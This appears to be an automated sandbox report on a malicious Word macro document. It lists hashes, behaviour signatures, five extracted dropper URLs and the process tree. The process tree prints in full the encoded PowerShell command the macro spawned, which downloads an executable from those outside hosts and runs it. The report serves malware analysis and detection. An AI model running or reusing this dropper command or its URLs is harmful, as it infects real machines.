Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    08-05-2024 02:09

General

  • Target

    22bf933c54470cf9f6536052a23058df_JaffaCakes118.doc

  • Size

    459KB

  • MD5

    22bf933c54470cf9f6536052a23058df

  • SHA1

    7779e99adf4d2627b2e441e64048cc0a7be2a73a

  • SHA256

    93d436758cc24dfad3d575c3794ccbed12ff44d6d9f0d76bc428c470d5b89608

  • SHA512

    0dc6af9e1632af7cb6d53e5b1e7632f7fd51d40005a46305a194cfd15cbd0e5126def07e4eacc507ed8324fd4c3af4a6d65a5c3afd5029af4d9a2e84e6a9a1ba

  • SSDEEP

    6144:4igvdMekCZ84iPG25djmMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwvVA7:Dgv76BPl5Vm8SVIf51E4K14o8Iu7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://hcforklift-eg.com/hdIixMkZ

exe.dropper

http://newsmediainvestigasi.com/uyspo23kf/nptoris/1KiUYgk

exe.dropper

http://businessvideo.urbanhealth.com.ua/gk9LHla8

exe.dropper

http://uran-spb.ru/qzzXAyC

exe.dropper

http://psychologyforyou.eu/1HdEdRb

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\22bf933c54470cf9f6536052a23058df_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2984
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABqADIAOAA1ADgAMAA9ACgAJwBFAF8AXwAxADIAXwA1ACcAKwAnAF8AJwApADsAJABqADgAMQA4ADMAXwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AF8AMwAwADYAOABfAF8APQAoACcAaAB0AHQAcAA6AC8ALwAnACsAJwBoACcAKwAnAGMAZgBvAHIAawBsAGkAJwArACcAZgB0AC0AZQBnAC4AYwBvAG0ALwBoAGQASQBpAHgATQBrACcAKwAnAFoAQABoAHQAdABwADoALwAnACsAJwAvACcAKwAnAG4AZQAnACsAJwB3ACcAKwAnAHMAbQBlAGQAaQBhAGkAbgAnACsAJwB2AGUAcwB0AGkAZwBhACcAKwAnAHMAaQAuAGMAbwBtAC8AdQB5AHMAcABvADIAJwArACcAMwBrAGYALwBuAHAAdABvAHIAaQBzAC8AMQAnACsAJwBLAGkAVQBZAGcAawBAACcAKwAnAGgAdAB0AHAAOgAvAC8AJwArACcAYgAnACsAJwB1AHMAaQAnACsAJwBuAGUAcwAnACsAJwBzAHYAJwArACcAaQBkAGUAJwArACcAbwAuAHUAcgAnACsAJwBiAGEAbgAnACsAJwBoACcAKwAnAGUAYQBsAHQAaAAuAGMAbwBtAC4AdQBhACcAKwAnAC8AZwBrADkATAAnACsAJwBIAGwAYQA4AEAAaAAnACsAJwB0AHQAcAA6AC8ALwB1AHIAJwArACcAYQAnACsAJwBuAC0AcwBwAGIALgByAHUALwBxAHoAegBYAEEAeQBDAEAAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwBwAHMAeQBjAGgAbwAnACsAJwBsACcAKwAnAG8AZwB5ACcAKwAnAGYAbwByAHkAbwB1AC4AZQAnACsAJwB1AC8AMQBIAGQAJwArACcARQBkAFIAYgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABVADkAMQAxADcANgA9ACgAJwB3ADMAJwArACcAXwA4AF8AMwAzADQAJwApADsAJAB6AF8AMgBfADcAXwA5ACAAPQAgACgAJwA1ACcAKwAnADMAMwAnACkAOwAkAEsANgBfAF8AXwA0ADEAXwA9ACgAJwB2ACcAKwAnAF8AXwAxAF8AMwAnACsAJwA0ADIAJwApADsAJABhAF8AOAA5ADAANQAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB6AF8AMgBfADcAXwA5ACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQA5AF8AMABfADEANgA0ACAAaQBuACAAJAB3AF8AMwAwADYAOABfAF8AKQB7AHQAcgB5AHsAJABqADgAMQA4ADMAXwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABRADkAXwAwAF8AMQA2ADQALAAgACQAYQBfADgAOQAwADUAMQApADsAJABIAF8AXwBfADgAXwA5AD0AKAAnAHEAJwArACcAXwA2ACcAKwAnAF8AMwA0ADAAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAYQBfADgAOQAwADUAMQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAGEAXwA4ADkAMAA1ADEAOwAkAEMAXwA3ADgAXwBfADEANwA9ACgAJwBJACcAKwAnADEAXwAzACcAKwAnAF8AXwAwACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABGADYAMgAwAF8ANQAwAD0AKAAnAHAAJwArACcAMABfADIAOQA5ADEAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1280

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      e99ea1304ff1e85ae271265fbfe55afa

      SHA1

      177df6933a951055da68ef02a4dd448ccb5b26c3

      SHA256

      bda2d3c1d517719c6a9c076dfd2c75641d068f4a229cef5afa8d5a6b24a8b60f

      SHA512

      0308b919c5769d181230c188c91fd75cc2f33fe3fd6e038f127a5e6c1e661329336218f4879d750e01010c58f97d4628aa31b63d46cb5510d94f5632cf5b5f91

    • memory/1280-129-0x000000001B530000-0x000000001B812000-memory.dmp

      Filesize

      2.9MB

    • memory/1280-130-0x0000000002890000-0x0000000002898000-memory.dmp

      Filesize

      32KB

    • memory/2984-121-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-2-0x000000007166D000-0x0000000071678000-memory.dmp

      Filesize

      44KB

    • memory/2984-120-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-123-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-122-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-0-0x000000002FCF1000-0x000000002FCF2000-memory.dmp

      Filesize

      4KB

    • memory/2984-99-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-58-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-139-0x000000007166D000-0x0000000071678000-memory.dmp

      Filesize

      44KB

    • memory/2984-140-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-141-0x00000000059D0000-0x0000000005BD0000-memory.dmp

      Filesize

      2.0MB

    • memory/2984-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2984-162-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2984-163-0x000000007166D000-0x0000000071678000-memory.dmp

      Filesize

      44KB